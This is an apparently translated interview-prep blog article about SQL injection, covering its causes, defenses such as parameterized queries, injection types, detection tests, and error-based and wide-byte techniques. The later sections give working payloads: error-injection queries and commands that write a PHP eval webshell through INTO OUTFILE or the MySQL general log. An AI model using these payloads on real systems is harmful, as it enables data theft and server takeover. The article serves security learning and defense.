Frequently Asked SQL Injection Questions in Interviews


insert image description here

The principle and harm of SQL injection

1. Attack method

Without judging and processing the legality of user input data, attackers can add additional SQL statements to the pre-defined SQL statements in the web application to write malicious codes into the database, realizing illegal data without the administrator 's knowledge . Operation , in order to deceive the database server to execute any unauthorized query, so as to further obtain data information.

2. Vulnerability reason

1. Unaudited data input box
2. Directly pass variables using URL
3. Unfiltered special characters
4. SQL error echo

3. Exploitation

Divided into two categories: endangering the data in the database, directly endangering the authority of the website (need to meet the conditions)

  1. Attackers can access the data in the database without authorization, steal the user's privacy and personal information, and cause the user's information to leak.
  2. Web page tampering: publishing malicious content after logging in to the background
  3. Website hanging horse: When you get the webshell or get the authority of the server, you can hang some web Trojan horses on the server to attack others
  4. The database has been maliciously manipulated: adding system accounts without authorization to modify database data.
  5. The server is remotely controlled: read and write files to obtain a webshell, and implant a backdoor

4. How to defend

For SQL injection, we can take proper precautions to keep data safe. Here are some ways to avoid SQL injection.
1. Filter the input content and check the string
Filtering the input content is to remove the illegal characters in the user input before the data is submitted to the database. You can use the processing functions provided by the programming language or your own processing functions to filter, and you can also use regular expressions to match safe strings.

If the value belongs to a specific type or has a specific format, it must be verified before splicing the SQL statement to verify its validity. For example, for an incoming value, if it can be determined that it is an integer, it must be judged whether it is an integer, and verification needs to be performed on both the browser (client) and the server.
2. Parameterized query (using precompiled statements)
Parameterized query is currently regarded as the most effective way to prevent SQL injection attacks. Parameterized query refers to the use of parameters (Parameter) to give values ​​where values ​​or data need to be filled in when designing a database connection and accessing data.
The parameter format of MySQL is formed by "?" character plus the parameter name, as follows:

UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4

In the case of parameterized query, the database server will not treat the content of the parameter as a part of the SQL statement for processing, but will run with the parameter after the database completes the compilation of the SQL statement. Therefore, even if the parameters contain destructive instructions, they will not be executed by the database.
3. Security testing and security auditing
In addition to developing specifications, appropriate tools are also required to ensure code security. We should review the code during the development process, use tools to scan during the testing process, and regularly scan for security vulnerabilities after going online. Through the inspection of multiple links, SQL injection can generally be avoided.

Some people think that stored procedures can avoid SQL injection. Stored procedures are widely used in traditional industries and are useful for authority control. However, if stored procedures use dynamic queries and splice SQL, there will also be security risks.

Here are some ways you can avoid SQL injection during development .
1. Avoid using dynamic SQL
Avoid putting user input data directly into SQL statements. It is better to use prepared statements and parameterized queries, which are safer.
2. Do not keep sensitive data in plain text
Encrypting private/confidential data stored in the database provides another level of protection in case an attacker successfully exfiltrates sensitive data.
3. Limit database permissions and privileges
Set database users' capabilities to the minimum required; this will limit what an attacker can do if they try to gain access.
4. Avoid displaying database errors directly to the user
Attackers can use these error messages to gain information about the database.
References: http://c.biancheng.net/view/8283.html .

What are the types of SQL injection

SQL injection can be divided into numeric injection and character injection according to the injection point

According to the injection method , it can be divided into joint injection , error injection , Boolean blind injection , time blind injection , secondary injection , stack injection , wide byte injection and HTTP Header injection

According to the location of injection , it can be divided into: GET data injection (the method of submitting data is GET, and most of them exist in the address bar), POST data injection (the method of submitting data is POST, and most of them exist in the input box)

Among them, HTTP Header injection is divided into Referer injection , Cookie injection and User-agent injection

There is another alternative to time blind injection, called DNSlog injection , also called out-of-band injection

How to tell if a website has SQL injection points

There are numbers (none), single quotes, double quotes, and parentheses around the $id parameter to form a closure;

The most classic single quotation mark judgment method: add single quotation marks after the parameter, for example:

  http://xxx/abc.php?id=1'

If the page returns an error, there is Sql injection. The reason is that no matter the character type or the integer type, an error will be reported because the number of single quotes does not match.

Generally, Sql injection vulnerabilities are divided into two types:

1. Digital

2. Character type

Numeric judgment:
  When the input parameter x is an integer, the Sql statement type in 123.php is generally as follows: select * from <table name> where id = x This type can use the classic and 1=1 and and 1 =2 to judge:

Enter http://xxx/abc.php?id= x and 1=1 in the Url address, the page is still running normally, and proceed to the next step.

Continue to enter http://xxx/abc.php?id=x and 1=2 in the Url address, and the page runs incorrectly, which means that the Sql injection is a digital injection.

The reasons are as follows: When input and 1=1, the Sql statement is executed in the background:

  select * from <表名> where id = x and 1=1

There is no grammatical error and the logical judgment is correct, so the return is normal.

When and 1=2 is entered, the Sql statement is executed in the background:

  select * from <表名> where id = x and 1=2

There is no syntax error but the logical judgment is false, so an error is returned. Let's use the hypothesis method again: if this is a character injection, the following situation should appear after we enter the above statement:

  select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'

The query statement converts all the and statements into strings, and does not make a logical judgment of and, so the above results will not appear, so the assumption is not valid.

Character type judgment:
  When the input parameter x is a character type, the SQL statement type in 123.php is generally as follows: select * from <table name> where id = 'x' This type we can also use and '1'= '1 and and '1'='2 to judge:

http://xxx/abc.php?id= x' and '1'='1 The page entered in the Url address works normally, and proceed to the next step.

If you continue to enter http://xxx/abc.php?id= x' and '1'='2 the page in the Url address and the page runs incorrectly, it means that the Sql injection is a character type injection. in the same way

What are the functions for error injection in SQL injection?

floor()函数:
利用rand()函数与group()函数的相互冲突

语法结构:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,编写SQL语句)x from information_schema.tables group by x )a) and '1' = '1

extractvalue()函数:
语法结构:extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))

concat中添加要查询的语句

updatexml()函数:
语法结构:and 1=(updatexml(1,concat(0x3a,(select user())),1))

exp()函数:
语法结构:and exp(~(select * from(select user())a))

If you want to know more error reporting functions, you can check this article: https://www.jianshu.com/p/bc35f8dd4f7c .

How to improve the efficiency of manual blind injection

We usually use DNSlog injection, dnslog injection can also be called dns out-of-band query, which is an injection posture, and we can obtain the data we want by querying the corresponding dns resolution records.

The principle of DNSlog injection
first requires a configurable domain name, such as: ceye.io, and then sets the nameserver of the domain name ceye.io as its own server A through an agent, and then configures DNS Server on server A, so that all ceye. The query of io and its subdomain name will go to server A, and then the domain name query request can be monitored in real time. DNS will leave logs when parsing. This is to read the parsing logs of multi-level domain names to obtain information. To put it simply, put the information in the high-level domain name, pass it to yourself, and then read the log to get the information

Why use DNSlog injection?
Because in general, when we cannot directly obtain data through joint query, we can only obtain data step by step through blind injection. However, using blind injection and manual testing will cost a lot In time, you may think of using sqlmap to run the data directly, but in the actual test, using sqlmap to run blind injection has a high probability that the website will block the ip, which affects our test progress, maybe you Proxy pools can also be used. .

What is the difference between mysql website injection above 5.0 and below 5.0?

information_schemaThere is no such system table below 5.0 , and it is impossible to list the name, etc., and can only violently run the table name.

Below 5.0 is multi-user single operation, and above 5.0 is multi-user multi-operation.

How SQL Injection Gets Webshell

premise

1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径

2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作

3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
简单点说就是
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径(根目录,或则是根目录往下的目录都行)
3.我们要有足够的权限

union select write

The outfile method is a function provided by mysql to write files. When we can control the input file and the file saving path, we can achieve the purpose of passing it into the webshell. When we can use union query, we can construct a statement as follows:

union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';

delimiter write

When union cannot be used, you can also use separators to write:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#

log write

The new version of mysql sets the path of the export file in my.ini, and it is no longer possible to use select into outfile to write a one-sentence Trojan horse. At this time, we can obtain the webshell by modifying the MySQL log file.

show variables like '%general%';                     #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式

Then you can create a shell.php in the website directory, which contains the one-sentence Trojan horse we wrote.

Of course, you can also use tools such as sqlmap to write, but I will write about the use of sqlmap tools in related articles later.
References: https://www.csdn.net/tags/MtTaIg0sOTg5MTc2LWJsb2cO0O0O.html .

Do you understand wide byte injection?

What are wide bytes?
If the size of a character is one byte, it is called a narrow byte; if the size of a character is two bytes, it is called a wide byte

Codes like GB2312, GBK, GB18030, BIG5, Shift_JIS, etc. are often said to be wide bytes, that is, only two bytes.
English occupies one byte by default, and Chinese occupies two bytes.

What is wide byte injection?
Principle: The position where wide byte injection occurs is that when PHP sends a request to MYSQL, the character set is encoded once using the character_set_client setting value. When using PHP to connect to MySQL, setting "character_set_client = gbk" will cause an encoding conversion problem, which is the familiar wide byte injection

Wide-byte injection is a feature of mysql. When mysql uses GBK encoding (GBK is one of the wide-bytes that is often said, it is actually only two bytes), it will think that two characters are a Chinese character (the previous ascii The code must be greater than 128 to reach the range of Chinese characters)

The first byte of GBK corresponds to 0×81-0xFE, and the last byte corresponds to 0×40-0xFE (except 0×7F). For example, %df and %5C will be combined; GB2312 is compatible with GBK, and its high-order range is 0xA1- 0xF7, the low range is 0xA1-0xFE (0x5C is not in this range), so you cannot use encoding to eat %5c

Common escape functions and configuration: addslashes, mysql_real_escape_string, mysql_escape_string, configuration of magic_quote_gpc in php.ini

Wide-byte injection conditions
1. The database is encoded in GBK
2. The escape function is used to filter the parameters passed by, POGETST, and cookie, and to escape sensitive characters such as single quotes, double quotes, and null with the escape character
\ Byte injection method

root %df' or 1=1 #

Principle : In GBK encoding, the encoding of the backslash is %5c. After inputting %df, %df%5c is formed after adding the backslash, and %df%5c is the traditional Chinese character "lian", and the single quotation mark escapes successfully , broke the Mysql database error

Guess you like

Origin blog.csdn.net/m0_46467017/article/details/126443469